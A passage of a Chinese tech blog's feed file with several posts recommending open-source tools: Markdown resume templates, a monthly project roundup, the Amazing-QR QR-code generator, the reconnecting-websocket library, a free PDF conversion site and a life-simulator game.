title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:<code>开源小分队</code> 公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 胜 </tag>
</tags>
</entry>
<entry>
<title>面试官:还在使用word写简历?</title>
<link href="/blog/2022/03/03/mian-shi-guan-huan-zai-shi-yong-word-xie-jian-li/"/>
<url>/blog/2022/03/03/mian-shi-guan-huan-zai-shi-yong-word-xie-jian-li/</url>
<content type="html"><![CDATA[<p>大家好,我是可爱机灵的开源小妹!</p><p>到了金三银四,很多小伙伴,都想跳槽换工作,找工作的第一件事情,就是写简历。往往写出一份好的简历,不仅仅是自身的技术加上过往丰富的工作经验,如果你简历中写的再好,没有吸引 HR 眼球的内容,因此也将会被刷掉。所以一份好的简历模板也变得非常重要。</p><p>今天小妹就给大家推荐一款好用的简历模板 – <strong>ResumeSample</strong>,希望对正在求职的或打算跳槽的小伙伴有所帮助。</p><h3 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h3><p>该项目在 GitHub 上有着接近 25K Star 的简历模板,可见在技术圈内有着非常高的知名度,其主要包含了<strong>PHP、iOS、Android、Web前端、Java、C / C++、NodeJS、架构师、通用程序员</strong>相关岗位的简历模板,其中各个领域的技能清单与其技能关键词都有相关参考价值等。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202203032227673.png"></p><h3 id="为什么要用-Markdown-写简历?"><a href="#为什么要用-Markdown-写简历?" class="headerlink" title="为什么要用 Markdown 写简历?"></a>为什么要用 Markdown 写简历?</h3><p>Markdown 语法简单,易于上手。使用正确的 Markdown 语言写出来的简历不论是在排版还是格式上都比较干净,易于阅读。另外,使用 Markdown 写简历也会给面试官一种你比较专业的感觉。使用 Markdown 写简历可以很方便将其与PDF、HTML、PNG格式之间转换!</p><h3 id="Markdown-简历模板"><a href="#Markdown-简历模板" class="headerlink" title="Markdown 简历模板"></a>Markdown 简历模板</h3><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202203032241266.png"></p><h3 id="建议"><a href="#建议" class="headerlink" title="建议"></a>建议</h3><ol><li>尽量避免主观表述,少一点语义模糊的形容词,尽量要简洁明了,逻辑结构清晰。</li><li>注意排版(不需要花花绿绿的),尽量使用Markdown语法。</li><li>如果自己有博客,写上去会为你加分很多。</li><li>注意简历真实性,一定不要写自己不会的东西,或者带有欺骗性的内容</li><li>项目经历建议以时间倒序排序,另外项目经历不在于多,而在于有亮点。</li><li>如果内容过多的话,不需要非把内容压缩到一页,保持排版干净整洁就可以了。</li><li>简历最后最好能加上:“感谢您花时间阅读我的简历,期待能有机会和您共事。”这句话,显的你会很有礼貌。</li></ol><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>简历对求职者来说是很重要的,所以大家一定要注重起来,感兴趣的小伙伴去公众号后台回复【小分队】获取简历模板吧,最后,祝愿各位正在求职或打算跳槽的小伙伴能够早日拿到满意的 offer!</p><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:<code>开源小分队</code> 公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对小妹非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 胜 </tag>
</tags>
</entry>
<entry>
<title>2022年2月开源项目精华都在这里啦~</title>
<link href="/blog/2022/03/03/2022-nian-2-yue-kai-yuan-xiang-mu-jing-hua-du-zai-zhe-li-la/"/>
<url>/blog/2022/03/03/2022-nian-2-yue-kai-yuan-xiang-mu-jing-hua-du-zai-zhe-li-la/</url>
<content type="html"><![CDATA[<p>2月开源项目精华</p><p>大家好,我是可爱又机灵的开源小妹!</p><p>小妹花了点时间整理了一下2月份分享过的酷酷项目,方便大家进行查看和收藏!</p><p>1、<code>Halo</code>:一款 Java 开发的现代化的开源博客/ CMS 系统,轻快,简洁,功能强大。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203031024209.jpg"></p><blockquote><p><a href="http://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247489098&idx=1&sn=39349fcb33ceeacbac6e1bc2285a7953&chksm=ceea39acf99db0ba86ceacccd364319cbe8751d8e9bda66164bf7a9407dcc68c424b4a35782b&scene=21#wechat_redirect">查看文章</a></p></blockquote><p>2、<code>the art of command line</code>:一些命令行使用技巧的摘要。有些技巧非常基础,而另一些则相当复杂,甚至晦涩难懂。这篇文章并不长,但当你能够熟练掌握这里列出的所有技巧时,你就学会了很多关于命令行的东西了。。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203031024210.jpg"></p><blockquote><p><a href="http://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247489741&idx=1&sn=78a21badd52837cbd24ef1999bf44db5&chksm=ceea372bf99dbe3de82341748bb7807b984c7f1a5da101e69e90d1746179fca8eb4f5c59f052&scene=21#wechat_redirect">查看文章</a></p></blockquote><p>3、<code>Avatar-Maker</code>:一个基于 Vue+SCSS 的开源头像生成神器。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203031024225.gif"></p><blockquote><p><a href="http://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247489820&idx=1&sn=538a297f103e21602a9287376f871694&chksm=ceea36faf99dbfec6670b688bd64e083b67f2784d8083e3b25b2c1633bcd6b2d625d128e7cf4&scene=21#wechat_redirect">查看文章</a></p></blockquote><p>4、<code>Simple Allow Copy</code>:一款可以解除网站页面文字无法复制问题的浏览器插件,在 Chrome、火狐浏览器、360 浏览器等安装了该插件以后,可以让那些不懂网页 javascript 脚本的小伙伴也能够轻松解除某些网站禁止复制网页内容文字的扩展程序。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203031024211.jpg"></p><blockquote><p><a href="http://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247489821&idx=1&sn=845038042904bfd276b9f50798668ff6&chksm=ceea36fbf99dbfed02a83f88193fa25086a2a36a38fe86dd0a52a0c90a8b5c022ef48f5d5cc4&scene=21#wechat_redirect">查看文章</a></p></blockquote><p>5、<code>eDEX-UI</code>:一款全屏、跨平台的终端仿真器和系统监视器,外观和感觉都像科幻计算机界面。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203031024212.jpg"></p><blockquote><p><a href="http://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247489822&idx=1&sn=3572138831c9a2cd409d9f1f92bef15f&chksm=ceea36f8f99dbfeec1eb32b80f40895aaae6f1aa33dcab4f60045e27b0a4475c6660aeecb528&scene=21#wechat_redirect">查看文章</a></p></blockquote><p>6、<code>free4chat</code>:一个基于 WebRTC 技术的语音聊天室,不需要客户端,无需注册和繁琐的登录过程,分享房间链接,用浏览器打开即可聊天,用完一切就消失了,隐私性好。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203031024213.jpg"></p><blockquote><p><a href="http://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247489884&idx=1&sn=90596e71acf246b855f76168c9bb2b78&chksm=ceea36baf99dbfac952ffe697c9ca2d2362c813f2e7fb78aa596510d48c699105cf2e24c99f1&scene=21#wechat_redirect">查看文章</a></p></blockquote><p>7、<code>learning_mind_map</code>:收集整理了计算机行业各个细分领域需要重点掌握的知识点,以思维导图的形式呈现出来。每个方向底下同样还有许多细分的子方向,每个子方向都包含一张或几张思维导图,目前一共有 82 张。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203031024214.jpg"></p><blockquote><p><a href="http://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247489886&idx=1&sn=18dee179d31a92726206917e43763724&chksm=ceea36b8f99dbfae1f35ea3cc394e2c78051a3b77ad13a7ca54a3865129b96793026f039bada&scene=21#wechat_redirect">查看文章</a></p></blockquote><p>8、<code>Excalidraw</code>: 一款拥有手绘风格的开源绘图工具。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203031024215.jpg"></p><blockquote><p><a href="http://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247489958&idx=1&sn=a2128292a0937001a07308055bda233b&chksm=ceea3640f99dbf560091d8581528d5e16fcd55c628d557dc137cb4981c05912d219e89df4fca&scene=21#wechat_redirect">查看文章</a></p></blockquote><p>9、<code>Chinese-poetry</code>:可能是全网最全的中文古典文集数据库了,目前为止收集了互联网上 5.5 万首唐诗、26 万首宋诗和 2.1 万首宋词,包括唐宋两朝近 1.4 万名古诗人和两宋时期 1.5 千名词人。。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203031024216.jpg"></p><blockquote><p><a href="http://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247489962&idx=1&sn=f05c29178bb6f7fcc6846387ce3bf1e1&chksm=ceea364cf99dbf5a8a0cf89649d95632bef0cf2e082991d6450a30c49bde050481ac350c6f75&scene=21#wechat_redirect">查看文章</a></p></blockquote><p>10、<code>Folder-locker</code>:一个小巧的文件上锁软件,没有压缩和加密过程,界面虽然比较简陋,但是使用起来非常方便快捷。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203031024217.gif"></p><blockquote><p><a href="http://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247490004&idx=1&sn=7e2555c8aa537cd19226b922e61fb4d2&chksm=ceea3632f99dbf245d083a196d4b8406fad10a542761b9d58f88b77def93254bb0a15249cd1a&scene=21#wechat_redirect">查看文章</a></p></blockquote><p>11、<code>BlueSea </code>:一个有趣的英语学习扩展程序。支持划词翻译、单词高亮、单词弹幕、记忆曲线复习、词频统计等功能。。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203031024218.jpg"></p><blockquote><p><a href="http://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247490005&idx=1&sn=a246ec915cd5b2bffe6e56c3365b886a&chksm=ceea3633f99dbf25e17035dedee3068d1142adc05bf97f696713133984608c0d99afe15dac7e&scene=21#wechat_redirect">查看文章</a></p></blockquote><p>12、<code>microStudio </code>:一个免费的开源在线游戏引擎。它集搜索、开发、学习、体验、交流等功能于一身,让你能完全沉浸于游戏开发领域,免受外界其它因素的干扰。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203031024219.jpg"></p><blockquote><p><a href="http://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247490046&idx=1&sn=a8e3e7035d32f435528dc94118bc6f3c&chksm=ceea3618f99dbf0e552166b807d8627549411aee2dcb2305fd3d33160911343bc2c4561b2245&scene=21#wechat_redirect">查看文章</a></p></blockquote><p>13、<code>Tabby</code>:一款Windows 标准终端 (conhost)、PowerShell ISE、PuTTY、MacOS Terminal.app 和 iTerm 的替代品,支持中文。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203031024220.png"></p><blockquote><p><a href="http://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247490126&idx=1&sn=50fa4ce0d18bb745791bf3bcd90c70dc&chksm=ceea35a8f99dbcbebb74dec0172bd1b80c99acdbfb14b2b229c089ea4b8a05aa8dc402eabafa&scene=21#wechat_redirect">查看文章</a></p></blockquote><p>14、<code>Codelf</code>:一款帮开发者从中找出已有的匹配关键字的变量名,从而帮助为变量名苦恼的开发者命名的软件。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203031024221.png"></p><blockquote><p><a href="http://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247490148&idx=1&sn=4f7f05fce7cb057339287e2b37733728&chksm=ceea3582f99dbc94c6bec5621fd0dfa4dda359044324ad53b22997d7c8a79d9975a0f80cf200&scene=21#wechat_redirect">查看文章</a></p></blockquote><p>15、<code>commit plugin</code>:两款自动生成规范 git 提交信息的插件,git-commit-plugin 适用于 VSCode</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203031024222.gif"></p><p>commit-template-idea-plugin 适用于 Intellij IDEA</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202203/202203031024224.png"></p><blockquote><p><a href="http://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247490150&idx=1&sn=8fe681c0200780d8a00ea7142a4540ec&chksm=ceea3580f99dbc962bae9fdaac8385ebe13f7466d65f31c08a70fbd4badc2b539019e742d515&scene=21#wechat_redirect">查看文章</a></p></blockquote><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对小妹非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>多样化生成二维码!</title>
<link href="/blog/2022/03/01/duo-yang-hua-sheng-cheng-er-wei-ma/"/>
<url>/blog/2022/03/01/duo-yang-hua-sheng-cheng-er-wei-ma/</url>
<content type="html"><![CDATA[<p>大家好,我是可爱又机灵的开源小妹。今天给大家介绍一款生成二维码的开源项目,<strong>Amazing-QR</strong></p><h2 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h2><p>在日常开发中经常会遇到生成二维码进行分享的场景或者说自己想把某个内容或连接转成二维码随后进行分享。最近小妹也遇到想把文章连接转成二维码的情况,平常普通的的黑白二维码小妹感觉不太好看,所以就在想要是有能给二维码设置背景图的开源项目该有多好呀,最终找到了 <strong>Amazing-QR</strong>。</p><p>Amazing-QR 可以生成普通的二维码,也可以生成带有图片的二维码以及动态的二维码,功能十分丰富。<br>小伙伴们是不是很想知道该项目怎么使用的呢?下面跟着小妹一块来体验一下吧!</p><h2 id="安装使用"><a href="#安装使用" class="headerlink" title="安装使用"></a>安装使用</h2><p>在使用之前我们先进行安装(这里使用的python3 所以使用了pip3进行安装)</p><pre class=" language-shell"><code class="language-shell">pip3 install amzqr </code></pre><p><strong>生成普通二维码</strong></p><pre class=" language-shell"><code class="language-shell">#在命令后输入链接或者句子作为参数,#然后在程序的当前目录中产生相应的二维码图片文件,默认命名为” qrcode.png“。amzqr opensource</code></pre><p>运行完成之后打开生成的图片效果如下图:<br><img src="https://files.mdnice.com/user/21486/05ea4fcf-47b5-4dd7-b203-85bb2b13bae8.png"><br>二维码扫描结果如下:<br><img src="https://files.mdnice.com/user/21486/5e8943d9-755e-438d-891e-00c7d6e530e7.png"><br><strong>生成带有图片的二维码</strong></p><pre class=" language-shell"><code class="language-shell">amzqr https://sourceteam.gitee.io/blog -p WechatIMG7.jpg -c</code></pre><p><img src="https://files.mdnice.com/user/21486/9d9aa586-d6b4-4226-9a12-9915256b14fc.png"><br>大家可以看到命令中的带有两个参数 </p><ul><li>-p 则表示生成图片(黑白色的)</li><li>-c 则表示使产生的图片优黑白变为彩色的 </li></ul><p>除了上面两个参数外还有其他的一些参数包括如下几个常用的:</p><ul><li>-d 控制二维码文件生成的位置</li><li>-n 控制生成的文件名,文件格式可以是.jpg, .png ,.bmp ,.gif</li><li>-v 控制边长,范围是 1 至 40,数字越大边长越大</li><li>-l 控制纠错水平,范围是 L、M、Q、H,从左到右依次升高</li><li>-con 用以调节图片的对比度,1.0 表示原始图片,更小的值表示更低对比度,更大反之。默认为 1.0</li><li>-bri 用来调节图片的亮度,其余用法和取值与 -con 相同</li></ul><p>除了上面通过命令行格式生成二维码文件,我们还可以通过引入到程序中进行使用。</p><pre class=" language-python"><code class="language-python"><span class="token keyword">from</span> amzqr <span class="token keyword">import</span> amzqr<span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">'__main__'</span><span class="token punctuation">:</span> amzqr<span class="token punctuation">.</span>run<span class="token punctuation">(</span><span class="token string">'helloworld'</span><span class="token punctuation">)</span></code></pre><p><img src="https://files.mdnice.com/user/21486/9bbdc7eb-4b76-4a9c-adbb-80a515156d0e.png"></p><p>是不是感觉很方便,很强大呢?小妹今天就分享到这里。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>Amazing-QR使用起来很方便,既支持命令行生成又支持通过程序进行生成,在使用过程中还有一些细节需要注意的,大家感兴趣的话可以动手试起来哦。</p>]]></content>
<tags>
<tag> 老胡 </tag>
</tags>
</entry>
<entry>
<title>websocket中断重连就用它了!</title>
<link href="/blog/2022/03/01/websocket-zhong-duan-chong-lian-jiu-yong-ta-liao/"/>
<url>/blog/2022/03/01/websocket-zhong-duan-chong-lian-jiu-yong-ta-liao/</url>
<content type="html"><![CDATA[<p>大家好,我是可爱又机灵的开源小妹。今天给大家介绍一款 websocket 相关的 JS 库,<strong>reconnecting-websocket</strong></p><h2 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h2><p> 在说该项目之前我们先大概说一下 websocket,我们先看下面一个小例子: 我在发布系统中发布项目前端页面如何知道发布结果呢,<br> 一种是通过 ajax 不停的轮询请求服务端获取状态这种性能不是很高,<br> 还有一种就是服务端状态变更了主动通知客户端,这个就是可以通过 websocket来完成。<br>我们在使用 websocket 有的时候中断了,这个时候就需要进行断线重连,reconnecting-websocket 则提供了自动重连,它是一个 javascript封闭的 websocket 库,非常小,gzip 压缩之后小于 600 字节。</p><h2 id="简单使用"><a href="#简单使用" class="headerlink" title="简单使用"></a>简单使用</h2><p>我们最开始使用 websocket 的时候如下:</p><pre class=" language-js"><code class="language-js"><span class="token keyword">var</span> ws <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WebSocket</span><span class="token punctuation">(</span><span class="token string">'ws://....'</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre><p>我们只需要把上面的代码替换成下面的就可以了,当 websocket 断开了它会帮你自动重连,下载对应的 reconnecting-websocket.js 文件 引入可以直接使用</p><pre class=" language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>text/javascript<span class="token punctuation">"</span></span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>js/reconnecting-websocket.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script language-javascript"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script language-javascript"> <span class="token keyword">var</span> ws <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ReconnectingWebSocket</span><span class="token punctuation">(</span>url<span class="token punctuation">,</span> protocols<span class="token punctuation">,</span> options<span class="token punctuation">)</span><span class="token punctuation">;</span> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span></code></pre><p>除了在项目中直接引入 js 文件,在 vue 项目中也是可以使用的</p><pre class=" language-js"><code class="language-js"><span class="token keyword">import</span> ws <span class="token keyword">from</span> <span class="token string">'reconnecting-websocket'</span><span class="token punctuation">;</span></code></pre><p>上面方法中包含了三个参数,作用分别如下:<br>url:必选项,需要连接的地址,就类似上面的发布系统的地址<br>protocols:可选项,根据WebSocket规范,可选的协议字符串或数组。<br>options:是一些可选参数,可以创建的时候指定,也可以后续使用的时候在做处理。<br>上面只是简单的时候,有的时候想进行调试或者设置一些高级的参数 就是通过 options 进行操作的。</p><pre class=" language-js"><code class="language-js"><span class="token keyword">var</span> socket <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ReconnectingWebSocket</span><span class="token punctuation">(</span>url<span class="token punctuation">,</span> <span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span>debug<span class="token punctuation">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> reconnectInterval<span class="token punctuation">:</span> <span class="token number">1000</span><span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment" spellcheck="true">//下面的代码和上面的效果是一样的</span><span class="token keyword">var</span> socket <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ReconnectingWebSocket</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">;</span>socket<span class="token punctuation">.</span>debug <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span>socket<span class="token punctuation">.</span>timeoutInterval <span class="token operator">=</span> <span class="token number">1000</span><span class="token punctuation">;</span></code></pre><p>上面的 debug 就表示此实例是否应记录调试消息。调试消息一般是打印到控制台中,reconnectInterval 则表示重新链接延迟的毫秒数。<br>除上上面列的两个还有很多选项呢,下面小妹列出几个常用的参数:</p><ul><li>maxReconnectInterval:延迟重新连接尝试的最大毫秒数。</li><li>timeoutInterval:在关闭并重试之前等待连接成功的最长时间(以毫秒为单位)。</li><li>maxReconnectAttempts:重新连接的最大次数。如果为空,将永远继续进行重新连接尝试。默认为空 </li></ul><p>除了常见的属性以外,它还包含了几个常用的方法就像 ws.close(code, reason)、ws.refresh()、ws.send(data) 等。<br>经过小妹的介绍是不是感觉很简单呢,今天小妹就介绍到这里</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>reconnecting-websocket 实际上是 js 对 websocket api的封装,主要功能就是提供了自动重新连接的功能,感兴趣的小伙伴赶快来尝试一下吧。</p>]]></content>
<tags>
<tag> 老胡 </tag>
</tags>
</entry>
<entry>
<title>一个网站,从此告别 PDF 文件转换的烦恼</title>
<link href="/blog/2022/02/28/yi-ge-wang-zhan-cong-ci-gao-bie-wen-jian-zhuan-huan-de-fan-nao/"/>
<url>/blog/2022/02/28/yi-ge-wang-zhan-cong-ci-gao-bie-wen-jian-zhuan-huan-de-fan-nao/</url>
<content type="html"><![CDATA[<p>大家好,我是可爱又机灵的开源小妹。</p><p>PDF 是我们生活工作中常用的一种文件格式,由于其能够有效保证文字、图形的原本信息,并且还可以在打印的时候保证颜色的精准以及较好的图形效果,所以在论文、合同、报告、PPT 等正式或非正式的场合都备受人们欢迎。</p><p>尽管 PDF 格式文件有着这些好处,但是其可逆性却很差。将 Word、PPT、Markdown、图片等格式转换为 PDF 或许很轻松,但将 PDF 还原成 Word、PPT、图片就会麻烦很多。</p><p>小妹就遇到了这个问题,着实是头疼了很久,如果有相同疑惑的小伙伴,那你一定需要小妹发现的这个神奇网站。</p><h4 id="项目简介-:"><a href="#项目简介-:" class="headerlink" title="项目简介 :"></a>项目简介 :</h4><p>为了解决 PDF 文件的格式转换问题,市面上也出现了很多相关的文件格式转换器,但是这些文件格式转换器关于 PDF 格式转换的功能却大都是需要收费的。</p><p>小妹作为一个白嫖党,当然对此表示非常不满,所以经过小妹的一番努力,终于发现了今天的主角儿 — <strong>Aconvert.com</strong> 。</p><p><img src="%E4%B8%80%E4%B8%AA%E7%BD%91%E7%AB%99%EF%BC%8C%E4%BB%8E%E6%AD%A4%E5%91%8A%E5%88%AB%E6%96%87%E4%BB%B6%E8%BD%AC%E6%8D%A2%E7%9A%84%E7%83%A6%E6%81%BC.assets/image-20220227213225786.png" alt="image-20220227213225786"></p><p>这个网站可以转换文档,图片,编辑视频格式,重要的是<strong>完全免费</strong>,并且<strong>没有任何次数限制</strong>!!!</p><h4 id="快速入门-:"><a href="#快速入门-:" class="headerlink" title="快速入门 :"></a>快速入门 :</h4><p>第一次访问这个网站可能会有点懵,因为这居然好像是一个纯英文网站?哈哈哈,小妹一开始也被唬住了,幸好这个网站可以设置语言格式。<img src="%E4%B8%80%E4%B8%AA%E7%BD%91%E7%AB%99%EF%BC%8C%E4%BB%8E%E6%AD%A4%E5%91%8A%E5%88%AB%E6%96%87%E4%BB%B6%E8%BD%AC%E6%8D%A2%E7%9A%84%E7%83%A6%E6%81%BC.assets/image-20220227214522706.png" alt="image-20220227214522706"></p><p>该网站功能非常全面,使用也非常简单,只需要三步即可获得你想要文件格式。</p><ul><li><p>点击“文件”或“链接”按钮切换本地文件或在线文件。点击“选择文件”按钮选择本地文件或输入在线文件URL。</p><p><img src="%E4%B8%80%E4%B8%AA%E7%BD%91%E7%AB%99%EF%BC%8C%E4%BB%8E%E6%AD%A4%E5%91%8A%E5%88%AB%E6%96%87%E4%BB%B6%E8%BD%AC%E6%8D%A2%E7%9A%84%E7%83%A6%E6%81%BC.assets/image-20220227215033244.png" alt="image-20220227215033244"></p></li><li><p>选择目标格式。您可以将各种文档和图像转换为PDF文件或将PDF文件转换为DOC,DOCX,XLS,XLSX,PPT,PPTX,XML,CSV,ODT,ODS,ODP,HTML,TXT,RTF,SWF,PNG,JPG,TIFF,BMP,PNM和PSD。</p><p><img src="%E4%B8%80%E4%B8%AA%E7%BD%91%E7%AB%99%EF%BC%8C%E4%BB%8E%E6%AD%A4%E5%91%8A%E5%88%AB%E6%96%87%E4%BB%B6%E8%BD%AC%E6%8D%A2%E7%9A%84%E7%83%A6%E6%81%BC.assets/image-20220227215420152.png" alt="image-20220227215420152"></p></li><li><p>点击“开始转换”按钮开始转换。输出文件将会列在“转换结果”下面。点击 图标显示文件二维码或将文件保存到Google Drive或Dropbox。<img src="%E4%B8%80%E4%B8%AA%E7%BD%91%E7%AB%99%EF%BC%8C%E4%BB%8E%E6%AD%A4%E5%91%8A%E5%88%AB%E6%96%87%E4%BB%B6%E8%BD%AC%E6%8D%A2%E7%9A%84%E7%83%A6%E6%81%BC.assets/640.png" alt="640"></p><p>点击下载的图标以后,会跳转到下载的界面,当然你可以通过二维码分享给你的好友,特别方便,网站会在转换完成1小时,删除输出记录,所以转换完成记得及时<strong>下载到本地</strong>。</p></li></ul><h4 id="小结-:"><a href="#小结-:" class="headerlink" title="小结 :"></a>小结 :</h4><p>电子书、图像、视频、音频等转换方式和 PDF 转换流程基本相同,大家有兴趣的话可以自己体验一下。</p><p>以上就是小妹为大家带来的文件格式转换方式了,如果对大家有所帮助希望大家<strong>点赞、在看、留言支持</strong>。</p><h4 id="写在最后-:"><a href="#写在最后-:" class="headerlink" title="写在最后 :"></a>写在最后 :</h4><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对小妹非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> zero </tag>
</tags>
</entry>
<entry>
<title>听说在这里可以重开人生?</title>
<link href="/blog/2022/02/28/ting-shuo-zai-zhe-li-ke-yi-chong-kai-ren-sheng/"/>
<url>/blog/2022/02/28/ting-shuo-zai-zhe-li-ke-yi-chong-kai-ren-sheng/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸代码的开源大叔!</p><p>如果有一款游戏可以让你深刻的感受到人生无常,让你体验各种不同的生活,你愿不愿意去尝试一下呢?</p><p>可能已经有很多小伙伴知道大叔要说的是什么了,没错,这就是《人生重开模拟器》,前段时间曾经火爆全网,创下了3天2亿访问量的记录。即便到了现在,在 Github 上这也是一个非常有意思项目。</p><p>大叔今天就去体验了一把,确实很有意思。不得不佩服作者天马行空的创造力!</p><h4 id="项目简介-:"><a href="#项目简介-:" class="headerlink" title="项目简介 :"></a>项目简介 :</h4><p>这是一款已经在 Github 上开源的小游戏,扒开它的源码会发现作者一共准备了1500多种事件,真的是难为作者了。</p><p>实际上,这款游戏<strong>短短3天上线</strong>,玩家数就达到上千万,甚至一度在百度贴吧、朋友圈、QQ群、微博等各大社区平台纷纷刷屏,引得众人侧目。</p><p><img src="https://img2.baidu.com/it/u=1723504034,2739924321&fm=253&fmt=auto&app=138&f=JPEG?w=250&h=287" alt="https://img2.baidu.com/it/u=1723504034,2739924321&amp;fm=253&amp;fmt=auto&amp;app=138&amp;f=JPEG?w=250&amp;h=287"></p><p>然鹅,令人没想到的是,该游戏的主创只有两个人,而且原本也只是想在QQ群里自嗨一把,游戏本身bug也是一堆,结果突然就火了起来,只能说互联网的魅力就在于此了。</p><p>在这款沙雕游戏中,你可能能够活到500岁(话说这个岁数修仙都够了吧!)。</p><p><img src="https://files.mdnice.com/user/22681/e0f0a817-a7c9-4c54-878f-e16f5b9780d6.jpg" alt="img"></p><p>可能天资聪颖,15岁出国读高中,30岁找到灵魂伴侣顺风顺水度过一生。</p><p>也可能一开始就没发育好,直接胎死腹中,还没出生,人就没了…….</p><p><img src="https://files.mdnice.com/user/22681/af78e377-bcaa-4a4e-939d-9ad40a6a7271.jpg" alt="img"></p><p>总之,在这款游戏中,可以让你深刻的感受什么叫人生无常…….</p><h4 id="快速入门-:"><a href="#快速入门-:" class="headerlink" title="快速入门 :"></a>快速入门 :</h4><p>这个游戏其实很简单,首先你只需要在系统给定的10个天赋里选择3个。</p><p><img 